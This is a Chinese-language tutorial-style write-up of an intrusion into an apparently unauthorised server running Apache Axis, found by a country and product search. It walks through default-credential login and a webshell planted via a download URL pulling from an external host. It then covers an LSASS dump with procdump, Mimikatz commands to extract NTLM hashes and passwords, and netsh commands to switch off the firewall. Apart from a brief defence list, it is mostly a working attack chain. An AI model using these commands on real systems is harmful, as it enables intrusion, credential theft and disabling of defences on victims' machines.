绕过杀软拿下目标站
字数 1295 2025-08-05 08:19:43
绕过杀软拿下目标站 - 渗透测试实战教学文档
1. 目标发现与初步侦察
1.1 目标筛选
- 使用特定搜索条件:
country="US" && app="APACHE-Axis" - 寻找使用Apache Axis框架的美国服务器
- 重点关注存在已知漏洞的老旧系统
1.2 初始访问
- 尝试默认凭证登录(常见于配置不当的系统)
- 成功登录后立即进行信息收集:
- 检查现有服务
- 寻找可能已被其他攻击者留下的后门
- 确认系统环境(路径、权限等)
2. 漏洞利用与权限维持
2.1 文件上传
- 确定绝对路径:
C:/elocker/webapps/admin/WEB-INF/classes - 测试出网能力(确认服务器能否访问外部网络)
- 发现可以直接使用Cobalt Strike (CS)等工具
2.2 命令执行尝试
- 直接执行命令失败
- 尝试反弹shell也失败
- 判断存在WAF(Web应用防火墙)拦截
2.3 绕过防御
- 使用下载功能写入Webshell:
x.x.x.x:8080/services/config/download?url=http://x.x.x.x/dama.txt&path=C:\elocker\webapps\admin\axis2-web\shell.jsp - 通过进程分析发现安全软件(某安全卫士)
- 确认基本命令如
net user被拦截
3. 权限提升与凭证窃取
3.1 免杀技术选择
- 面临两个选择:
- 制作免杀payload
- 直接抓取密码
- 选择抓取密码(更简单有效)
3.2 使用ProcDump导出LSASS进程
- 上传
procdump64.exe到目标服务器 - 执行命令导出LSASS内存:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp - 下载
lsass.dmp文件到本地
3.3 使用Mimikatz解析凭证
- 在本地使用Mimikatz解析导出的内存文件:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit - 获取NTLM哈希和可能的明文密码
- 破解哈希获取可用凭证
4. 后渗透操作
4.1 服务器控制
- 使用获取的凭证登录服务器
- 检查防火墙状态:
Netsh Advfirewall show allprofiles - 关闭防火墙:
NetSh Advfirewall set allprofiles state off
4.2 内网代理搭建
- 发现内网IP,需要搭建代理进行内网渗透
4.3 意外发现
- 在云桌面发现运行了Telegram客户端
- 可能获取更多敏感信息或凭证
5. 关键技术与工具总结
5.1 使用工具
- ProcDump: 用于导出进程内存,绕过杀软对Mimikatz的直接检测
- Mimikatz: 在本地解析内存文件获取凭证
- Cobalt Strike: 高级渗透测试框架
5.2 技术要点
- 默认凭证利用: 永远尝试默认/弱密码
- WAF绕过: 通过合法功能(如下载)写入Webshell
- 免杀技术: 当直接执行被拦截时,使用间接方法(如导出内存)
- 凭证窃取: 从LSASS进程获取哈希和密码
- 防御规避: 关闭防火墙,建立持久访问
5.3 防御建议
- 禁用或更改默认凭证
- 限制出站连接
- 保护LSASS进程(启用Credential Guard)
- 监控进程创建(特别是针对LSASS的访问)
- 限制文件上传功能,特别是可指定路径的下载功能
6. 完整攻击链总结
- 目标发现 → 2. 默认凭证利用 → 3. 文件上传 → 4. WAF绕过 → 5. 进程分析 → 6. 凭证窃取 → 7. 权限维持 → 8. 内网渗透 → 9. 数据收集
本教学文档详细展示了从目标发现到最终控制服务器的完整过程,重点突出了绕过安全防护和凭证窃取的关键技术。